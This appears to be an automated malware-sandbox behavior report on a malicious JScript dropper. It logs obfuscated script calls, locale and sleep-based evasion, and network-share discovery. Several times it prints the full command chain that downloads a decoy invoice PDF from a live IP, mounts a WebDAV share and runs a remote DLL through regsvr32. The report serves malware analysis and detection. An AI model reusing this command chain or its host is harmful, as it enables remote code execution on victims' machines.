Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7257.js.csv");ITextStream.WriteLine(" entry:7346 f:appjv");ITextStream.WriteLine(" exec:2 f:appjv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4930			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4948			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4424	Thread sleep count: 4930 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4424	Thread sleep count: 4948 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6088	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5712	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3436	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7608	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1519067007.000002B0E0498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1505486156.000002B0E04F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2735039406.000001D5F682B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2736469390.000001D5FBE59000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
